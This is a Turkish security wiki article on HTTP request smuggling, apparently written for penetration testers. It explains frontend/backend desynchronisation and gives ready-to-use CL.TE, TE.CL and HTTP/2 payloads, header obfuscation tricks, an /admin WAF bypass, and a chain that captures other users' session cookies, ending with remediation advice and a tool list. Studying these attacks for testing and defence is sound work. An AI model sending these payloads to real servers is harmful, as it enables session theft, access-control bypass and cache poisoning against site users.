HTTP Request Smuggling
> Yazar: Sinem Çalışkan
HTTP Request Smuggling (HRS), modern web mimarilerinde frontend (Reverse Proxy, Load Balancer, WAF, CDN) ve backend sunucuları arasındaki HTTP isteklerini ayrıştırma (parsing) mekanizmalarındaki uyumsuzluklardan kaynaklanan, kritik seviyeli bir "desynchronization" (senkronizasyon bozukluğu) zafiyetidir. Red Team operasyonlarında bu zafiyet, saldırganın frontend güvenlik kontrollerini (WAF/IPS) tamamen bypass etmesine, diğer kullanıcıların oturumlarını ele geçirmesine (Session Hijacking), Web Cache Poisoning saldırıları düzenlemesine ve yetki yükseltmesine olanak tanır.
Geleneksel web saldırılarının aksine, HRS doğrudan uygulamanın kaynak kodunu değil, HTTP protokolünün (özellikle RFC 2616 ve RFC 7230) belirsizliklerini ve altyapı bileşenlerinin bu standartları farklı yorumlamasını hedefler. Modern mikroservis mimarileri ve yoğun API kullanımı, HTTP/1.1 connection "Keep-Alive" ve pipelining özelliklerinin suistimal edilmesini kolaylaştırmış, HRS'yi kritik bir altyapı zafiyeti haline getirmiştir.
How It Works (Teknik Analiz)
HTTP/1.1 protokolünde, birden fazla HTTP isteği tek bir TCP bağlantısı üzerinden gönderilebilir (Connection Re-use / Pipelining). Frontend sunucu, gelen istekleri alır ve backend sunucuya iletir. Bu noktada sunucuların bir isteğin nerede bittiğini ve diğerinin nerede başladığını kesin olarak bilmesi gerekir.
Bir isteğin sınırlarını belirlemek için iki HTTP başlığı kullanılır:
Content-Length(CL): İsteğin gövdesinin (body) bayt cinsinden uzunluğunu belirtir.Transfer-Encoding(TE): Gövdenin parçalar (chunks) halinde gönderildiğini (chunked) belirtir. Her chunk'ın boyutu hex (onaltılık) formatta belirtilir ve0boyutlu bir chunk ile ileti sonlandırılır.
Eğer bir saldırgan, hem Content-Length hem de Transfer-Encoding başlıklarını aynı istekte gönderirse ve frontend ile backend sunucuları bu başlıkları farklı önceliklendirirse, HTTP Desynchronization meydana gelir. Bir sunucu isteğin sınırını CL'ye göre belirlerken, diğeri TE'ye göre belirler. Bu durum, saldırganın isteğinin bir kısmının (smuggled request), bir sonraki masum kullanıcının isteğinin başına eklenmesine (prepended) yol açar.
Vulnerable Code Patterns
HRS, genellikle uygulama seviyesinden ziyade sunucu veya proxy yapılandırmalarından kaynaklansa da, backend tarafında yazılmış özel HTTP parser'lar veya Node.js/Python gibi dillerle yazılmış custom proxy'ler bu zafiyete davetiye çıkarabilir.
Aşağıda, Node.js (Express vb. frameworkler öncesi raw HTTP handling) veya benzeri bir backend sisteminin başlıkları güvensiz işleme mantığına bir örnek verilmiştir:
// GÜVENSİZ PATTERN: Hem CL hem TE geldiğinde RFC standartlarını ihlal eden veya
// hatalı bir şekilde sadece birini dikkate alan backend parser örneği.
const http = require('http');
const server = http.createServer((req, res) => {
let body = [];
// Güvenlik zafiyeti: Transfer-Encoding kontrol ediliyor ama
// Content-Length başlığı da varsa bu durum reddedilmiyor (RFC 7230 ihlali).
if (req.headers['transfer-encoding'] === 'chunked') {
req.on('data', chunk => {
// Chunked veriyi işle
body.push(chunk);
});
} else if (req.headers['content-length']) {
// Frontend TE'yi anlamayıp sadece CL'yi backend'e ilettiyse
// veya backend TE'yi görmezden geliyorsa desync başlar.
req.on('data', chunk => {
body.push(chunk);
});
}
req.on('end', () => {
res.end('Request processed');
});
});
RFC 7230'a göre; eğer bir mesaj hem Transfer-Encoding hem de Content-Length başlığı içeriyorsa, Content-Length başlığı MUTLAKA görmezden gelinmelidir. Ancak frontend TE'yi desteklemiyor (veya obfuscate edilmiş TE'yi atlıyor) ve backend destekliyorsa, sistem manipülasyona açık hale gelir.
Detection & Enumeration (Keşif ve Analiz)
Sızma testlerinde HRS keşfi genellikle "Time-based" (Zamana dayalı) tekniklerle yapılır. Sistemlere zararsız, ancak sunucuların beklemesine (timeout) neden olacak özel payload'lar gönderilerek davranış analizi gerçekleştirilir.
1. CL.TE Time-based Keşif:
Frontend Content-Length, Backend Transfer-Encoding kullanıyorsa.
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
Analiz: Frontend, CL: 4 olduğu için 1, \r\n, A ve X (toplam 4 bayt) dahil tüm isteği backend'e iletir. Backend TE kullandığı için ilk chunk'ı (boyut 1, içerik 'A') okur. Sonra sıradaki chunk'ın boyutunu bekler ('X' geçerli bir hex değildir veya backend 0 chunk'ını bekler). Backend isteğin devamını beklediği için zaman aşımına (timeout) uğrar ve yanıt gecikir.
2. TE.CL Time-based Keşif:
Frontend Transfer-Encoding, Backend Content-Length kullanıyorsa.
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
Analiz: Frontend TE kullandığı için 0 chunk'ını görür ve isteğin bittiğini düşünerek backend'e iletir (X'i iletmez veya ayrı bir istek sanır). Backend CL: 6 kullandığı için 6 baytlık gövde bekler ancak sadece 0\r\n\r\n (5 bayt) almıştır. 6. baytı beklediği için timeout yaşanır.
Attack Vectors & Exploitation (İstismar Vektörleri)
HRS zafiyetleri, frontend ve backend'in başlıkları yorumlama biçimine göre sınıflandırılır. Bu alt varyasyonlar istismar zincirinin temelini oluşturur.
CL.TE Vulnerability
Frontend sunucusu Content-Length başlığını işlerken, backend sunucusu Transfer-Encoding başlığını işler.
İstismar Adımı: Saldırgan, frontend'i kandırarak tüm payload'u backend'e iletir. Backend ise 0 (sıfır) chunk'ını gördüğünde isteğin bittiğini sanır, geri kalan veriyi kuyrukta (pipeline) bir sonraki isteğin başı olarak değerlendirir.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Bir sonraki normal kullanıcının isteği geldiğinde, backend bunu SMUGGLEDGET / HTTP/1.1... olarak okur ve 405 Method Not Allowed vb. hatalar döndürerek kullanıcının isteğini bozar.
TE.CL Vulnerability
Frontend sunucusu Transfer-Encoding başlığını, backend sunucusu ise Content-Length başlığını işler.
İstismar Adımı: Saldırgan, frontend sunucuya geçerli bir chunked istek gönderir. Frontend bunu backend'e iletir. Ancak backend Content-Length'e bakar ve sadece saldırganın belirlediği yere kadar okur. Geri kalan kısım (smuggled) kuyrukta bekler.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
TE.TE Behavior (Obfuscation)
Hem frontend hem de backend Transfer-Encoding başlığını destekler, ancak başlık bir şekilde obfuscate (gizleme/karartma) edildiğinde sunuculardan biri bunu tanıyamaz ve işleyemez (böylece CL'ye geri döner).
Örneğin, Transfer-Encoding: chunked (fazla boşluk) veya Transfer-Encoding: xchunked gibi manipülasyonlarla sunuculardan birinin TE'yi düşürmesi sağlanır. Bu durumda zafiyet fiilen CL.TE veya TE.CL'ye dönüşür.
Bypassing Front-End Security Controls
WAF veya Reverse Proxy, /admin dizinine erişimi engelliyor olabilir. Saldırgan, masum bir / isteğinin arkasına /admin isteğini smuggle edebilir.
Capturing Other Users' Requests
Saldırgan, yasal bir isteğin sonuna bir yorum veya form parametresi ekleyecek şekilde istek kaçırır. Backend, masum kullanıcının isteğini (Session Cookie'leri dahil) saldırganın smuggle ettiği form alanının içine (örneğin bir mesaj panosundaki yoruma) yazar.
Web Cache Poisoning via HRS
Frontend altyapısında Caching (Önbellekleme) mekanizması varsa, saldırgan kaçırılan istek ile zararlı bir yanıt üretilmesini sağlar (Örn: XSS payload'u içeren bir 404 sayfası). Bu yanıt, masum kullanıcının URL'si için önbelleğe alınır. Sonuç: O URL'yi ziyaret eden herkes XSS payload'unu çalıştırır.
Payloads & Advanced Commands
HTTP Request Smuggling, milimetrik hassasiyet (CRLF - \r\n byte hesaplamaları) gerektirir. İstismar sırasında Burp Suite'in "Repeater" sekmesinde "Update Content-Length" özelliğinin KAPALI olduğundan emin olunmalıdır.
Basic CL.TE Smuggling Payload (GHOST Request)
Bu payload, backend kuyruğunda GHOST / HTTP/1.1 isteği oluşturur. Bir sonraki istek GHOST methodu ile başlayacağı için sunucu "Unrecognized method" hatası verir.
POST / HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Transfer-Encoding: chunked
0
GHOST / HTTP/1.1
Foo: bar
Basic TE.CL Smuggling Payload
Frontend TE'yi işler (62 byte lık '3e' chunk'ını geçirir), backend CL: 4'e bakar (sadece 5e\r\n kısmını okur). Kalan POST /admin... kısmı kuyrukta bekler.
POST / HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
3e
POST /admin HTTP/1.1
Host: target.com
Content-Length: 15
x=1
0
Frontend Bypass Payload (Admin Panel Access)
WAF'ın /admin engellemesini aşmak için CL.TE zafiyeti kullanımı:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
Capturing Credentials via Reflected Data
Uygulamada bir geri bildirim (feedback) veya profil güncelleme formu varsa, diğer kullanıcıların request başlıklarını (Cookie vb.) bu alana yansıtacak bir exploit zinciri:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 315
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=attacker_session
csrf=12345&postId=2&comment=
Not: Content-Length: 400 kasıtlı olarak büyük verilmiştir. Böylece backend, sıradaki masum kullanıcının tüm isteğini (Cookie'leri ile beraber) comment= parametresinin bir parçası olarak veritabanına kaydeder.
HTTP/2 Downgrade Smuggling
Modern altyapılarda HTTP/2 frontend'den HTTP/1.1 backend'e çeviri (downgrade) yapılırken oluşan zafiyettir (H2.CL veya H2.TE). HTTP/2'de veriler binary frame'ler halinde taşındığı için CL ve TE başlıkları teknik olarak anlamsızdır ancak downgrade sırasında frontend bu başlıkları HTTP/1.1 isteğine tehlikeli biçimde ekleyebilir.
H2 Custom Header Injection (Pseudo-header üzerinden):
:method POST
:path /
:authority target.com
content-length 0
transfer-encoding chunked\r\n\r\nSMUGGLED_REQUEST...
Bypass & Obfuscation (Atlatma Teknikleri)
Güvenlik duvarları (WAF) standart HRS saldırılarını tespit etmek için "Birden fazla Content-Length var mı?" veya "Hem CL hem TE var mı?" diye kontrol eder. Bu filtreleri aşmak için TE başlığını, sadece backend'in anlayacağı şekilde mutasyona uğratmak gerekir.
TE.TE Obfuscation Variations
Aşağıdaki başlık kombinasyonları, sistemlerden birinin TE'yi tanıyamayıp yoksaymasını (böylece CL'ye düşmesini) sağlamak için kullanılır:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Line-Feed (LF) vs Carriage-Return Line-Feed (CRLF) Bypass
Bazı sistemler sadece \n (LF) ile başlıkları ayırırken, standart olan \r\n (CRLF) dir. Bu uyumsuzluk WAF atlatmak için kullanılır.
Payload içinde Hex seviyesinde manipülasyon (Burp Inspector ile):
Transfer-Encoding: chunked\n (Sadece 0x0A)
WAF bunu geçersiz başlık sayıp izin verirken, eski bir backend bunu geçerli sayıp chunked moduna geçebilir.
Remediation & Prevention (Önleme ve Savunma)
HRS zafiyetleri mimari kökenlidir. Kalıcı çözüm, uygulama kodundan ziyade ağ topolojisinde ve Load Balancer/Proxy seviyesinde alınacak yapılandırma kararlarına bağlıdır.
- Uçtan Uca HTTP/2 Kullanımı: HTTP/2 bağlantıları, request boundary'leri belirlemek için başlıkları (CL/TE) değil, binary frame uzunluklarını kullanır. Frontend'den backend'e giden bağlantıların HTTP/1.1'e "downgrade" edilmeden, uçtan uca HTTP/2 olarak tutulması zafiyeti kökten çözer.
- Backend Connection Reuse'un İptal Edilmesi: Frontend sunucusunun, backend'e her istek için ayrı bir TCP bağlantısı açması sağlanmalıdır (Connection: close). Performans açısından dezavantajlı olsa da, smuggle edilen istekler kuyruğa giremeyeceği için saldırı önlenir.
- HTTP İsteği Standardizasyonu (Normalization): Frontend sunucusu, gelen istekleri backend'e iletmeden önce katı bir şekilde RFC 7230'a göre normalize etmelidir:
- Hem CL hem TE başlığı varsa, isteği doğrudan
400 Bad Requestile reddet. - Tanımlanamayan veya obfuscate edilmiş TE başlıkları içeren istekleri reddet.
- Hem CL hem TE başlığı varsa, isteği doğrudan
- WAF Kuralları: Tüm gelen trafiğin katı bir regex ile TE başlığında sadece ve sadece tam eşleşen
chunkeddeğerini (boşluksuz, tab'sız, case-sensitive) kabul etmesini sağlayın.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Burp Suite (HTTP Request Smuggler Ext.) | Otomatik CL.TE, TE.CL taraması, payload üretimi ve doğrulaması sağlar. PortSwigger standartıdır. | Burp Suite arayüzünden "Smuggle Probe" seçeneği ile GUI üzerinden çalıştırılır. |
| Turbo Intruder | Yüksek hızlı, asenkron HTTP istekleri göndererek race condition ve timing temelli HRS keşfini kolaylaştırır. Python ile script edilebilir. | def queueRequests(target, wordlists): engine.queue(target.req, gate='race1') |
| Smuggler (Python) | CLI tabanlı, hafif ve hızlı bir HRS tarama aracıdır. Farklı TE obfuscation metodlarını otomatik dener. | python3 smuggler.py -u https://target.com/ -m POST |
| Nmap (http-smuggling.nse) | Geniş ağ taramalarında yüzlerce sunucudaki temel HRS açıklarını tespit etmek için Nmap Scripting Engine. | nmap -p 80,443 --script http-smuggling.nse <hedef_ip> |
| H2C Smuggler | Modern ortamlarda HTTP/2 cleartext (h2c) downgrade ve upgrade smuggling zafiyetlerini istismar eder. | h2csmuggler -x https://target.com/ -t https://backend:8443/ |
Yazar: Sinem Çalışkan · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv